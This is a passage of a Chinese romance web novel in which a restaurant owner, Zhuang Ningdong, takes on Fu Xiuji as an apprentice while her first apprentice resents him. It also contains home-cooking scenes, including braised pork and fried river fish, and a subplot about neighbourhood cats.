如果他跟自己一样，那他肯定认得她，也肯定知道他们之间发生过的事。 那就不可能会问出“你认识我？”这句话了。 但是这长相…… 也许是巧合吧。 庄凝冬收回思绪，浅浅地笑了下：“不好意思啊，认错人了。” “谢谢你帮忙，那个，”庄凝冬指了指他手下的狸花猫，问，“可以把它给我吗？” “可以。” 傅修霁将小狸花递过去：“抱好了。” 是因为刚刚她松了次手吗？ 庄凝冬讪讪地应了声：“嗯。” “对了，这种流浪猫性子野，跟家养的温顺宠物猫不一样，下次最好不要冒险从它嘴里夺食。” 傅修霁难得提醒道。 小狸花听见后，兴许有点不乐意了，大声地“喵呜”了一声，似在抗议。 庄凝冬被它可爱到，笑了下，摸着它的小脑袋，替它在傅修霁面前说好话：“它是野猫，不是流浪猫，常在附近出没，从来不咬人的，我们都认识它，邻里街坊也都对它很好，是它习惯了无拘无束的生活，所以才没被拐走。” 小狸花：“喵～”（对的。） 傅修霁饶有兴致地挑了下眉。 庄凝冬补充道：“就是改不了一些陋习，比如喜欢连偷带拿。” 小狸花：“……喵喵。”（才没有。） 傅修霁看了眼地上那条小鱼：“所以这是它的‘战利品’？” “是赃物。” 庄凝冬说完，听到眼前人低低地笑了声，声线很清润。 跟记忆里的一模一样。 意外看到故人之姿，兴许是他乡遇故知的惊喜在作祟，庄凝冬本能地想要跟对方多说说话。 “你……住这附近吗？” “不是。” 庄凝冬有一瞬间的落寞。 看来以后很难再见到了。 “我从别的地方来，刚下高铁，饭还没吃呢。” 傅修霁顿了顿，抬手勾着小狸花的下巴摩挲了下，直勾勾地盯着庄凝冬，回味着她前不久说过的话：“你刚刚说，让它跟你走你就另外给它做些好吃的。” 庄凝冬屏住呼吸：“怎么了？” “那我呢，我跟你走你也可以给我做好吃的吗？庄老板。” …… 庄凝冬把傅修霁带回店里时，耳旁似乎还在回荡着他最后那句话，连带着耳朵都有点发烫。 江映槐蹲在院子跟后厨连接的那道门旁，手下撸着一只胖橘。 她远远地看到了庄凝冬，却没有注意到跟在她身后的男人。 “师父！你猜得没错，它们还真有同伙！还是方爷爷家的那只胖橘，都被小狸花带坏了。” 江映槐嚷嚷着，等庄凝冬走近了才看到她身后的陌生男人。 是真的陌生。 江家不过是近两年才冒出强劲的势头，跻身万宁豪门前列，能有这番风光，还得多多感谢傅家呢。 当年要不是傅家搭了把手，江承泽还真没法短时间内让江市地位大涨。 所以从家族权势来说，江家远不及傅家。 在他们双方合作之前，两家都没任何交集，江映槐自然也不认识傅修霁。 “这是？”江映槐问。 还挺帅的啊。 比她哥还帅…… 庄凝冬这才想起来还没问人家名字呢，她转头看向傅修霁：“你叫什么名字？” “傅修霁。” 庄凝冬把刚刚发生的事简单地跟江映槐说了下，江映槐了然地点点头，虽然直觉觉得这个男人有点古怪，但她说不出来。 话题很快扯回了小猫身上。 “好的不学，学偷东西？我得把它送回方爷爷家，让方爷爷好好教育它才行。” 江映槐抱着胖橘就要走，被庄凝冬喊住了。 “等下——” “怎么了？” “看它们被那小鱼馋的，先让它们留下来吧，我给它们做点吃的。” “可是小鱼不都被炸完了吗？” 庄凝冬去翻了翻冰箱：“小鱼干是做不了了，等明天，江爷爷要是又捕了些鱼回来再给它们做好了，现在的话，给它们烤点鸡胸肉吃吃。” 庄凝冬说完，看向一旁的男人：“你有什么忌口吗？给你煮碗菌菇肉丝面可以不？” 傅修霁打量着周围的环境，闻言，收回目光：“可以。” 略一停顿，傅修霁补充了句：“麻烦了。” “你要是饿的话，旁边有炸小河鱼可以垫垫肚子，”庄凝冬开着玩笑，“不过可千万别当着那两只猫咪的面吃，不然也太坏了。” 厨房就这么点大，能走去哪吃？ 庄凝冬站的那一块地旁边刚好有点拐角空间，傅修霁趁机上前走过去。 “那你帮我挡挡。” 庄凝冬一看，这人根本就没在吃，挡什么？ 故意的吧…… 不远处的江映槐盯着傅修霁，眼神充满了杀气。 她就知道这个来路不明且长得花枝招展的男人不怀好意！ 一来就贴那么近？！ 江映槐死死盯着那处，看着男人在那帮忙干活。 算他识相，还知道帮忙。 不对，重点不是这个，是他跟师父有说有笑啊！ 江映槐看着，连带着撸猫的手也不自觉加重了力气。 直到猫咪喵喵叫她才回神，赶紧道歉。 * 庄凝冬把需要的食材准备好，将切好的鸡胸肉放进空气炸锅，就热锅烧油，开始做菌菇肉丝面了。 切好的肉丝倒入锅中，翻炒几下至变色，就已经有肉香味弥漫开了。 随后加入菌菇炒至变软，就可以倒入水，放入面条盖盖煮了。 等出锅前再撒入适量的调味料，一碗菌菇肉丝面就做好了。 热气腾腾，香喷喷的。 庄凝冬还另外盛了几条炸小鱼给他。 “我来端吧。” 傅修霁上前接过。 这碗面条的卖相是真不错，闻起来也很香。 傅修霁笑了声：“不愧是庄老板亲手做的，看着真不错。” 明明只是一句简单的夸奖，但他顶着那副面容，以一种悠悠且带笑的口吻说出来，就是很容易让人的心脏荡起涟漪。 庄凝冬含糊敷衍：“也就那样吧。” 庄凝冬把做好的鸡胸肉、以及小猫都带到了餐厅。 面对突然冒出来的男人，其他人都很震惊。 “这是……？” 只有江老爷子错愕：“你——” 话没说完，被傅修霁的轻咳声打断。 接收到傅修霁的眼色，江老爷子陷入了沉思。 傅家的儿子突然来这里是为什么了？ 听闻他在吃的方面格外挑剔，难不成是知道了庄记的口味所以千里迢迢也要过来尝尝？ 可这样的话，为什么要隐藏身份呢？ 还要跟他装出一副不认识的模样。 江老不懂，但江老尊重。 “他叫傅修霁……” 庄凝冬又把刚刚发生的一切简单说了一遍。 他们这儿开饭店的，在非营业期间特殊接待一些外来顾客也是常有的事。 因此，众人都没多想，并热情地招待他。 陆向安一向自来熟：“哥们儿，你长得可真带劲。” 江映槐拿着鸡胸肉喂猫的手蓦地一顿，起了一身鸡皮疙瘩：“……你好变态。” “不是，我不是那个意思，你别乱想，不，你们都别乱想。” 傅修霁：“……” 其实傅修霁在来的路上有吃过东西，不过飞机餐不太好吃，他勉为其难地吃了两口就再也吃不下了。 肚子空了很久，现在轻而易举就被食物的香味勾出了食欲。 傅修霁的吃相很得体，手又好看，捏着筷子和勺子的时候，都像拿着一件艺术品。 这份菌菇肉丝汤面的汤呈现出略深的茶色，喝起来很有股甘甜，带有菌菇特有的鲜，是很好喝。 傅修霁连着喝了好几口才动筷去夹那面条。 面条估计也是庄凝冬自己擀的，细长顺滑，溺在水中根根分明，嚼起来特劲道，每一根都吸满了菌菇的鲜甜和肉香。 调味料也放得非常适中，入味的同时不会过咸。 “面条擀得很好，煮面条的火候和时长也都掌控得很到位，完全不坨，也不软烂，吃起来柔中带韧。” 庄凝冬唇角挂着浅笑，大大方方接受了这份夸奖：“那你多……哎好像没法多吃了，我就做了这一碗，不过还有小河鱼，能吃饱吧？” “可以。” 傅修霁转头夹起了小河鱼，闻了下，带着炸过的焦香，酥唧唧的，连骨头脆到发出咔吱咔吱的声响，太香了，外酥里嫩。 难怪小狸花那么喜欢。 奶奶对到店的食客都蛮好奇的，此时热络地跟傅修霁搭着话：“小伙子，听说你刚到溪城？是来做什么的？” “我是来拜师学艺的。”傅修霁娓娓道来：“我对厨艺方面很感兴趣，知道庄老板技艺高超，所以特意前来。” 说着，傅修霁又看向庄凝冬：“对了，庄老板，我刚刚听见那个女生喊你师父，你还缺徒弟吗？看看我行不行。” 庄凝冬没反应过来，“啊”了一声。 傅修霁便又问了一遍：“我可以当你徒弟么？” 江老爷子心道，原来是来拜师的。 可拜师要隐藏身份吗？ 其余人还没做出什么反应，江映槐就先大声拒绝了：“不可以！” 这个男人果然！ 现在就开始想法子留下来了。 众人奇怪她的反应，江映槐说的有理有据：“现在店里这么忙，就别再收徒浪费精力了吧，而且师父她也不是什么人都收的，就连我当时都是辛苦了好久拜师成功的呢。” 傅修霁：“我有基础，庄老板教起来应该不会太费劲。” “你说有就有吗？你的标准和我们的标准可不一样。” “那傅某只好献丑了。” …… 就这样，稀里糊涂的，傅修霁开始去后厨上手实操了。 庄凝冬是想阻止的，因为从做菌菇汤面的过程中，她就看出来傅修霁确实是练过的，比店里的每一个员工都要专业。 她不想江映槐丢脸丢得太难看。 但江映槐完全不听。 庄凝冬也有点无奈。 现在是晚上了，他们刚刚吃过晚餐，已经吃不下了，再为了展示厨艺而煮东西的话，未免有些浪费。 所以傅修霁只露了一手刀工。 手起刀落，动作麻利，切菜过程中发出的声音清脆悦耳，规律得舒服。 几乎是眨下眼的功夫，胡萝卜丝就切好了。 每一根的粗细大小都一致得可怕，要不是江映槐亲眼盯着，她都要怀疑这人作弊了。 傅修霁：“这样符合你们的标准吗？” 江映槐说不出话来。 怎么偏偏是展示刀工？！ 江映槐内心很崩溃。 他的刀工比她的好那么多，师父连她都收了，那她还有什么理由抗议？ “这样不行的话，那这样呢？” 众人看去，只见傅修霁拿起了刚切下来的萝卜头，握着小刀，专心地在上面划拉着。 很快，那个萝卜头就被刻成了玫瑰花形状。 江映槐……！！ “够了……” 这跟踩在她脸上又碾了几脚有什么区别？ 最后还是庄凝冬出面，照顾着江映槐那点不为人知的小情绪：“好了，可以了。” “傅先生的能力太强，已经超出我们的标准了，正因如此，我觉得你根本不用再拜师了啊。” 她怎么没想到还有这个理由呢？！ 江映槐又瞬间复活了：“对对对，你已经厉害到不用拜师了，就这样吧。” “可是庄老板更厉害，我想多跟你学习学习。” 庄凝冬还没做出回应，就听见傅修霁的语气淡了下去，似乎有点受挫：“如果实在不行，那就算了吧，没关系的。” “……” “我从来不知道，原来表现得太过优秀，也是会被拒绝的。” “……” “都怪我，要是我做得再差点，像你徒弟那样，兴许就能像她一样成功了吧。” 说到最后，傅修霁看向江映槐，神情后悔中带有艳羡：“真羡慕你。” 江映槐：“？” 阴阳怪气，这绝对是在阴阳怪气！！ 怎么能有人把话说成这样，凡尔赛中带了点茶气就算了，还内涵她！ 她不就阻拦了他一下，也太记仇了吧。 “不是，你——” 江映槐一句话都说不出来，她震惊地看看傅修霁，又看看庄凝冬，希望她不要被这个男人骗了。 可惜没用，这招以退为进对庄凝冬来说效果确实好。 “不是你的问题……” 不管什么方面，都是越精越好的，如果因为表现得太好就被拒绝，会不会让人此后不管做什么都懒懒散散保留余力呢？ 这是一种很不好的影响。 如果不努力学习，是会退步的。 庄凝冬想得有点认真，最终，她还是叹了口气：“你想拜师也行，不过没那么容易，我这个徒弟当时拜我为师时可是废了好大一股劲，为了让她心里平衡点，你得辛苦些。” 听到这，傅修霁终于没刚刚那么丧气了，答应得爽快。 “没关系的，让我做什么都行。” 庄凝冬都这么说了，江映槐也不好再说什么，她恶狠狠地在心里骂了一句死绿茶！ 这段小插曲到这里告一段落。 众人也开始各回各家。 江映槐回去时没忘把胖橘抱回方爷爷家。 江老爷子特意落后一点距离，跟傅修霁说话：“你这是……搞哪一出？” 傅修霁张口就来：“在万宁那边吃腻了，来尝尝新口味，顺便学学做菜。” “那，需要隐藏身份？” “表现得稍微好点，庄老板都差点不收我，要是我再表现出有钱，庄老板还会收我么？” 江老爷子心想，也是。 要是太有钱的话，什么样的师父找不到？庄凝冬估计会让他找别人去。 随后，傅修霁才以晚辈的身份正式跟江老爷子打了声招呼，又感谢他的配合。 两人简单说了几句，前方的江映槐从方家出来，她往回一看，喊道：“爷爷你怎么走得那么慢！” “来了——” 江老爷子跟傅修霁道别，就快步跟了上去。 “爷爷，你在跟他聊什么啊？你们又不是很熟，我劝你还是离他远点好，他这个人小肚鸡肠记仇又心机。” “那还不是你先搞事情嘛，怎么还告起状来了？” “爷爷你帮一个外人都不帮我！” “好好好，不是你的问题，帮你帮你…… …… 晚上，庄凝冬躺在床上，翻来覆去睡不着。 脑海里，在大燕朝的一些片段和今天发生的画面不断交织着。 庄凝冬忽然想起了答辩那天看到的侧影。 所以那天，是真的，不是幻觉？ 他们是同一个人？ 可是，在万大看到的那个穿着打扮都很贵气，还有在身旁谄媚的人，一看地位就不低。 今天见到的这个，虽然举止也很有气质，但如果他们是同一个人，那以他的地位，又何必屈身来拜师学艺呢？ 庄凝冬想不懂。 有很多解释不清的地方。 还是先相处看看再说吧。 在一片混乱的思绪中，庄凝冬慢慢睡了过去。 * 次日，是傅修霁到店干活的第一天。 由庄凝冬带着他说了下每天要干的活。 目前还不需要他上手做一些有技术的活，都是简单的杂活，傅修霁听一遍注意事项就记住了。 还没正式营业前，陆向安喊过在一旁拖地的傅修霁，指了指桌面上的二维码，让他扫码关注店铺的官号。 “作为庄记的一员，连庄记的官号都不关注的话像什么样？”陆向安非常尽职，他叮嘱道：“对了兄弟，你关注以后最好把之前的动态都顺便点赞转发一下，虽然不缺你那一两个数据，但我们好歹是一个大家庭，你懂吧？” “嗯。” 傅修霁点着屏幕，手指忽然停住，他的视线定格在屏幕上方—— 是一条毕业照动态。 背景在万宁大学。 虽然他在看到齐扬哲递过来的视频后，就想到了再万宁看到的那张照片。 同名同姓就算了，连样貌都一样。 那就不可能是两个人。 可店里这个真人、动态上发的照片，明显跟荣誉墙上的人不一样。 难不成她有个双胞胎姐姐或妹妹？ 第84章 第84章 傅修霁拿着手机定定地站在那，一动不动。 这一幕落到江映槐眼里就是在偷懒，她上前悠悠地提醒道：“整天只会偷懒的人可不配当我师父的徒弟。” “嗯。”傅修霁收好手机：“技术不怎样的人配。” 江映槐：“？” 靠！又被内涵了！ “你！” 傻逼。 江映槐瞪着他的背影，愤愤地哼了一声。 “人家也没偷懒，是我刚刚叫他弄一下关注官号的事，他才停了会儿看手机的。”陆向安帮着傅修霁说话，而后好奇道：“我怎么感觉你对人家挺大意见的，他得罪过你？” “你不觉得他出现得很突兀吗？就像别有用心一样。” 陆向安沉默片刻：“……所以你当初也觉得我出现得别有用心？” “这倒没有。”江映槐说：“就是单纯觉得你实力不太行而已。” “……” 还不如觉得他别有用心呢：） 江映槐：“你真不觉得他带有别的目的吗？” “比如说。” “比如……对我师父有其他方面的心思。” “嘶——”陆向安摩挲着下巴，作沉思状：“有也不奇怪吧？老板她那么年轻漂亮还多金，况且……” 说着，陆向安还往后厨看了眼，自家老板和那个新来的兄弟站在一起，男俊女美，郎才女貌，简直是天造地设的一对。 “他们还挺配的啊。” “配个屁！你都说我师父她年轻漂亮多金了，那个男的除了脸还有什么？而且他那张破嘴吐不出象牙来，一天到晚净会气人，一看就说不出什么好话哄我师父。”江映槐要被气死了：“我跟你说希望你看清那男的真面目，不是让你嗑他俩的cp的！” “明明是对你才……”说不出好话。 “你说什么？！” “没什么。”陆向安不敢说了，换了个话题：“你怎么知道人家没钱？” 江映槐压低了声音：“早上庄奶奶在跟他闲聊，我听到他说了一下家里情况，虽然他没明确说家里的有多少资产，但我能推理出来。” 陆向安：“？” “他说他爸是当临时工的，他妈妈呢，嗯，不工作很久了，还有两个正在上学的弟弟妹妹。”江映槐合理推断：“临时工说明什么？说明收入不稳定！你瞧瞧这配置，全家就靠他养活啊，这能有钱到哪去？” “……有点道理。”陆向安：“不过感情是两个人的事，你看他不顺眼能怎样，得看老板的意思啊。” “所以我现在要做的，就是阻止师父喜欢他，你都不知道他多心机，早上老板听了他的情况，觉得他缺钱要给他加工资，他还装出一副特别体贴的样子说不要，说他不缺钱，让我师父把钱留着自己花，靠！真的太多心眼了！” 不该拿的不拿，不是很正常吗？ 这哪里有心眼了…… 陆向安不懂，但陆向安不敢问。 * 回到刚刚，傅修霁走进厨房里，加入帮忙备菜的行列。 庄凝冬看见后，走上前。 方才外面的情况她都看到了，虽然她不知道江映槐跟他说了什么，但远远瞅着气氛就不太友好。 庄凝冬不知道江映槐为什么对傅修霁有敌意，不过还是替她说话：“映槐的那些小动作，你不要放在心上，其实她人很好的，可能是……” 对于傅修霁而言，江映槐那点幼稚且明显的小针对以及不知从何而来的厌烦根本不足一提。 他完全没放在心上。 不过，有现成的发挥机会，他肯定要把握住。 庄凝冬在那可能半天也想不出一个可能的原因，倒是傅修霁接了她的话。 “可能是，我真的很讨人厌吧。” 语气声调都很轻，带着几分无力感，无端显得可怜。 “你怎么会这样想？” 庄凝冬心口一窒，第一次觉得自己不会安慰人：“不是你的问题，你放心吧，兴许是你们之间有什么误会。” “没关系的，她现在是你唯一的徒弟，看到我可能有危机感了吧，讨厌我也是应该的。” “……” 不知道为什么，庄凝冬看着他顶着记忆里的容貌，做出这样受伤懂事的神情，心中升起一股微妙感。 明明这副容貌在记忆里是那么潇洒倜傥。 兴许是还不习惯吧。 不过这种感觉也挺新鲜的。 庄凝冬：“别想太多，映槐她不是这样的人。” “对不起，是我的问题，都是我的错，我不应该这样恶意揣测她的。” “……” 看来他在这个时代是真的过得不太好吧，所以干什么都这么小心翼翼。 庄凝冬在心底叹了口气，又安慰了他几句，才去做别的事。 在她看不见的地方，傅修霁转头盯着她看了一会儿。 蓦地笑了下。 管他谁是谁、有没有双胞胎姐姐或妹妹呢。 他只知道眼前这个就是梦境里的人，自己不但不排斥反而很想向她靠近。 只是，他现在还想知道一个问题—— 她也会做那些奇奇怪怪的梦境么？ 要不然，昨晚的第一次见面，她为什么会激动地说“是你”？ * 中午，准时开门营业。 外头顾客有序且快速地走进来，到收银台前点着单，看见新来的傅修霁后，都愣住了—— “我靠，长得真帅啊，是新来的吧，以前没见过，这女娲毕设般的颜值，我见过肯定会记得的。” “啊啊啊真的好帅，怎么又来了一个颜值、身材比例都这么顶的帅哥？比之前那个开劳斯莱斯的还要帅哎，咱们溪城也是出息了，开始频繁出现帅哥了。” “那我还是选开劳斯莱斯那个吧，有钱又有颜。” “醒醒吧你，还没喝就醉了。” “喜欢庄记的人真的有福了，不仅能大饱口福，还能大饱眼福。” “庄记真的……太绝了！每个员工都长得好看，就这么说吧，要是他们站成一排在门前欢迎我们，不看店铺招牌的话，谁知道我们来的是饭馆啊。” …… 傅修霁的到来在顾客当中引起了一点小骚动，不过还好，没有影响到正常工作。 今天江老爷子果然也带了一大桶鱼回来，还是跟昨天一样，是跟手指差不多大小的小河鱼。 庄凝冬将它们倒入浅盆子里，这样比较好清洗处理。 中途傅修霁想来帮忙，不过被江映槐挤走了。 “还是我来吧，那边有别的活等着你干。” “……” 傅修霁没说话，也没动，定定地站在那里，垂着头，神色晦暗不明，像是想留下来却又不太敢的小狗。 只好听从主人的发落。 庄凝冬看看他，又看了眼江映槐，虽然有点不忍，但还是把傅修霁支开了。 “嗯……你就先去干别的活吧。” “好，都听你的。” 江映槐不可置信地看完他整套表演，不是，他在装什么？ 她不过就是让他去干别的活，怎么整出一副受了天大的委屈的样子？ 待傅修霁走远，江映槐就急不可耐地跟庄凝冬说他的坏话：“师父，你可千万不要被那个男人骗了！你别看他在你面前彬彬有礼识相听话的样子，他这个样子都是装出来的！” 庄凝冬也正想找机会跟江映槐聊这件事：“你们是不是有什么误会？我觉得他没在装啊。” 坏了。 江映槐闭了闭眼。 那人已经在师父面前装得像模像样了。 “防人之心不可无啊师父，你想想，你们才认识多久啊，他就这样上赶着靠近你，肯定有不为人知的目的，师父你可得小心啊！我看拜师学艺只是他的一个借口罢了。” 才认识多久…… 庄凝冬没法跟江映槐说他们其实已经认识很久了。 虽然放到现在，只是庄凝冬单方面的认识，但庄凝冬就是觉得他人不坏。 尽管他们不是同一个人，也许那个人只是他的转世。 庄凝冬安抚着江映槐：“不会的，你放心吧，我有分寸。” “……” 更没法放心了。 因为昨天发生了有小猫过来盗窃小河鱼的事件，庄凝冬今天在做酥炸小河鱼的时候，特意分出了一点份量的小鱼，用来做猫咪专属版。 这一部分不用加调味料，也不用做过多的准备步骤，直接烤就行了。 烤完后的小鱼香喷喷的，都不用庄凝冬发愁怎么叫小猫过来，很快，小狸花就自己出现了。 “喵～” “小猫咪不可以进来哦，你就在那里站着，我马上拿小鱼干过来。” 小狸花停住了脚步，乖巧端庄地站在后院，两只白手套安分地并在一起，就在门边看着，听话地没再进来。 可爱极了。 庄凝冬端着烤好的小鱼走出去找它，发现只有它一只小猫，蹲下去撸了它一把，柔声问它：“怎么只有你一个，昨晚的同伙呢？” 小狸花：“喵～” 庄凝冬没听懂，不过也不影响她喂它。 小鱼干脆脆的，小狸花咔吱咔吱地咬了几下，吃得嘎嘎香。 除了小鱼干，庄凝冬还烤了点鸡胸肉。 小鱼干和鸡胸肉都烤得金灿灿的，散发着食材特有的香气，还带了点焦香。 “怎么样，是不是特别香？”庄凝冬看着小狸花在笑：“看你吃看得我都想吃了。” 她话音刚落，身旁一道阴影落下，随后，一条金黄酥香的小鱼干便递到了她唇边。 庄凝冬顺着小鱼干一路往上看，冷白修长的手，淡青色的血管凸起，盘在有力的小臂上，再往上是一张英挺俊朗的脸。 他唇角噙着一抹浅笑，眉眼带了点散漫随意。 庄凝冬脸微红：“我自己来就好。” 说完，庄凝冬想拿，却发现自己一只手里拿着小猫吃的小鱼干，另一只手也摸过猫咪了还没洗。 不等她作出别的反应，傅修霁拿着小鱼干往前了一点点，压上了她的唇。 “就这样吃吧。” 第85章 第85章 这一幕，有点似曾相识。 光影交错间，庄凝冬眼前的视线有点恍惚，像是受到蛊惑般，她还真就张嘴咬了下去。 入口是满嘴的酥香，里面是鲜嫩入味的鱼肉，还是这股喷香又好吃的味道。 但此时此刻，庄凝冬的注意力根本没法放在品尝美食上。 她能感觉到，傅修霁一直在盯着她看。 近距离下，每咀嚼的一个动作，所发出来的细微的声音，显然都无处可藏。 庄凝冬艰难吞下一口，实在无法忍受这道灼热的视线，她深吸一口气，对上他的眼睛：“你能不能别盯着我看？” 傅修霁觉得好笑：“怎么了，你喂猫的时候不是一直盯着猫看？” “……这怎么能一样？” “哪里不一样？” 庄凝冬被他问得说不出所以然来：“反正就是不一样。” 她看他完全没有挪开视线的意思，赌气般撇开头：“不吃了。” 小鱼干还有大半条。 傅修霁笑了声，顺从地再一次把小鱼干递到她嘴边：“就剩一点了，吃吧，不看你。” 庄凝冬回过头一看，傅修霁还真就瞥开视线了。 那点不自在少了很多。 庄凝冬便继续就着他的手吃了。 这种感觉很奇怪。 她在喂猫，他在喂她。 小鱼干很快只剩一点了，庄凝冬想一次性吃到嘴里，就用了点力，奈何对方根本不撒手。 偏偏他还在看别处，跟没察觉到一样。 庄凝冬怀疑他是故意的，但没有证据。 “你倒是松手啊。” 傅修霁回过头，露出恍然的表情，此地无银三百两地说道：“原来快吃完了啊，我都没注意。” “……” 庄凝冬很快把那条小鱼干吃完，傅修霁问她：“还要吗？” “……不要了。” “行吧。” 傅修霁脸上的失望一闪而过。 快到庄凝冬怀疑自己看错了。 江映槐从后院抱着一只胖橘进来，很快打断了庄凝冬的情绪。 “师父，刚刚我拿炸小鱼给方爷爷的时候，才知道胖橘因为昨天犯事被家里扣下了，我去到的时候跟方爷爷说了声它才被放出来。” 胖橘被江映槐放下，立马奔向小伙伴小狸花的身边，小狸花原本还想跟它蹭蹭，却没想到它直接朝地上那碟小鱼干奔去了。 小狸花：“？喵喵喵！” 庄凝冬笑着又去逗了逗猫。 江映槐回来后，傅修霁没在院子里久待，很快就回后厨干活去了。 仿佛刚刚什么也没有发生。 * 这几天，傅修霁熟悉了一下周边，连带着跟街坊邻里也熟络了点。 更是无意从他们口中知道了一个重要信息—— 庄凝冬是独生女。 并没有什么双胞胎姐姐或妹妹。 也就是说，荣誉墙上的庄凝冬跟眼前的这个庄凝冬是同一个人。 可是怎么可能呢？ 荣誉墙上的人是那么的冷漠、眼神暗淡无光，隐约间还有点颓气。 可傅修霁在这待了几天，从未见过庄凝冬露出那样的神色，永远都是带着灵动活力的，像一阵温柔的风，看着就让人舒服。 怎么都不会是同一个人。 傅修霁还是相信自己看到的感觉。 至于其中的玄妙，他就不得而知了。 不过荣誉墙上的照片应该也挺久的了，也许其中发生了什么致使她发生了巨大的变化吧。 傅修霁打算慢慢再调查。 * 同时，这几天，庄凝冬也在为店铺扩建的事情奔波。 她在外面看了几处商铺都不太满意。 其实不应该在外面找地的。现在庄记打开了知名度，实在不好贸然换位置，而且庄爷爷和奶奶在这里生活了几十年，具有不一样的意义。 可要留在这里，还要扩建的话，只能从邻居入手了。 邻居陈婆婆一直在这里住，不好朝她那里扩建。 另一边倒是有家久不居住的邻居。 但正是因为久不居住，庄凝冬也没法联系上他。 以前庄爷爷倒是有那家人的联系方式，只是这电话簿，奶奶也不记得放去哪了。 只好拜托陈婆婆。 不过陈婆婆也不保证能否找到并打通，毕竟人家已经搬走好几年了，说不定电话号码早换了。 要是实在联系不上，那就没办法了。 陈婆婆很快带着消息回来。 “联系上了，电话通了以后，我大致跟他说了一下你们的情况，老冯听了以后既唏嘘又惊讶，唏嘘你们的变故，也惊讶凝冬丫头的厨艺，说他以前都没想到凝冬会走上开餐饮店的道路，我说谁不是呢。” 以前没想到凝冬会走上开餐饮店的道路…… 在一旁听到的傅修霁脑海中忽然闪过一个一直被忽视的问题—— 是了，明明大学学的是金融，为什么开起餐饮店来了？ 不是说学金融不能开餐饮店。 而是，既是中途转行，为什么厨艺那么精深，甚至比百味楼的老师傅还要厉害。 傅修霁佯装不经意问：“所以为什么会开起餐饮店来了？” 庄凝冬：“那时候缺钱嘛，又刚好会做饭，还有现成的店面，就做起来了。” 奶奶：“是啊，都说是福不是祸是祸躲不过，要不是掉到低谷，都不知道囡囡她在做饭这方面这么有天赋。” 傅修霁眯了眯眸，敏锐地察觉到不对。 一起生活的一家人，真有天赋的话怎么可能那么久才发现。 “怎么说？” 庄凝冬平静地搬出了一直用着的那套说辞：“也没有啦，都是网上的视频教程和书本教的好……” 这套说辞去糊弄别人还行，傅修霁可不信。 不过他也没再多问，神情若有所思。 重新回归到正题。 陈婆婆在讲述她跟冯爷爷的寒暄时，语气是轻快，不过才说了没几句，她的脸色就变得不太好了。 “老冯是很高兴你们靠开店摆脱了困境，但出租房子的事，他还是不太同意。” 庄凝冬：“冯爷爷他是有什么难言之处吗？” 陈婆婆娓娓道来：“那间屋子是他年轻的时候和老伴共同努力的成果，里面承载着太多他们之间的事了，对他而言意义非凡，再加上他老伴去世多年，这栋房子在他心里的位置就变得更为重要了，他不太舍得租出去改得面目全非。” “不过，他有说自己会再考虑考虑，对了，他过段时间会回来一趟，你们要是不着急的话，可以等他回来再说，这是老冯的电话号码，后续你们有什么事的话可以直接找他。” 庄凝冬拿出手机录入了冯爷爷的电话号码：“辛苦你了陈婆婆。” “我们之间还客气什么啊。” * 关于扩建的事，庄凝冬打算等冯爷爷回来再说。 因为有求于人，所以在冯爷爷回来那天，庄凝冬特意请了冯爷爷来家里吃饭。 特意从陈婆婆嘴里打听到冯爷爷喜欢吃红烧肉的消息，庄凝冬打算再在菜品里添一道红烧肉。 红烧肉跟东坡肉一样，主食材都是用的五花肉，所以根本不用另外出去买，只需要在用来做东坡肉的原材料里挑出一大块来做红烧肉就好了。 别看红烧肉的成品看着跟东坡肉差不别，但其中的差别可大着呢。 新鲜的五花肉粉白相间，透露着一种新鲜的肉粉色。 跟做东坡肉时一样，庄凝冬把这块五花肉的表皮拿到火上烤，去除汗腺的味道。 跳远的火焰烧到猪皮上，滋啦滋啦的，已经能闻到一丢丢肉香了。 烤好后，庄凝冬把表皮上烤的焦黑的部分刮掉，才冷水下锅焯水。 看到这里，江映槐以为她在做东坡肉，便不解地问：“东坡肉不是已经有做好的了吗？想吃的话留一份出来就好啦。” 庄凝冬柔柔地笑了声，说道：“我不是在做东坡肉，我是在做红烧肉。” 江映槐“啊”了声，满脸不解：“这两样东西不是差不多嘛？” “只是看上去差不多而已。” 其实吃起来也差不多…… 江映槐腹诽，但她才不要说出来，不然显得她一点儿都不会吃。 “好吧，那它们有什么区别？” “首先是烹饪方法的不同，东坡肉讲究炖和蒸，上色靠的是冰糖、酱油和黄酒，而红烧肉——” 庄凝冬说到这的时候锅里的肉刚好焯好了，她便短暂地炖了下，一旁的傅修霁自然地接过话： “而红烧肉讲究的是煎或者油炸，上色靠的是炒糖色，所以红烧肉的做法其实要比东坡肉复杂，因为炒糖色这一步就拦住了许多人，我说的对吗？老板。” 庄凝冬听完后，眼睛亮了一瞬，她点点头：“对，还有一些别的差异，比如说东坡肉讲究的是酥烂，偏咸口，红烧肉的话，可以有一定的嚼劲，口味偏咸甜。” 傅修霁定定地看着她：“所以，答对了有奖励吗？” 江映槐：“……” 好好好，她随口问的问题，居然被他装上了！ 江映槐冷笑了声：“没人问你。” 还讨要起奖励来了，真不要脸。 碍于庄凝冬还在旁边，后面的两句话她忍了忍才没说出口。 “……” 傅修霁：“没事，没有也没关系的，一定是我表现得还不够好。” “……” 庄凝冬看着他，还没说什么，江映槐就着急地扯开了这一茬：“所以红烧肉的详细做法是怎样的，师父你赶紧给我展示一遍吧。” 再停留在上面那个话题，她真的会被傅修霁气死的。 庄凝冬只好先将傅修霁的话放一边，先教江映槐做红烧肉了。 焯好水的红烧肉被切成方正的块状，放入烧到五成热的油锅里，炸到表面带了点焦就可以了。 接下来就是最重要的炒糖色。 “炒糖色要注意的一点就是不要炒得太过，炒太过了会发苦，就不好吃了，像炒到这种程度就可以关小火慢慢炒了。” 庄凝冬边操作边讲解，讲得很细致很认真，江映槐和其他几个厨员都全神贯注地盯着锅里糖色的状态。 只有傅修霁没在看锅，他看的是人。 “炒到这种冒泡泡的程度就可以加水了，要记住非常非常重要的一点是，一定要用温水，千万不要加凉水，用凉水的话，较大的温差会让它们爆起来。” 接下来的过程里，庄凝冬又讲了各种配料的比例。 起初傅修霁还没反应过来，慢慢的，他听着，微眯了眸。 这个配方比，怎么那么熟悉呢？ 倏地，傅修霁盯着庄凝冬的眸子情绪涌动了一瞬，像是为了确认什么，他问道：“这个配方，是你的独家秘方吗？” 江映槐：“你什么意思？我师父那么厉害，用的肯定是自己的配方啊。” 庄凝冬拉了下江映槐，示意她不要那么尖锐。 “是我自己研究的，怎么了？” 傅修霁喉结滚了下：“没什么，我就问问。” 所以，之前在金融网站上一直跟他聊的人是她。 第86章 第86章 傅修霁忽然想起对方的ID只有一个庄字。 是了，他早该想到的。 都是庄，厨艺还都一样好。 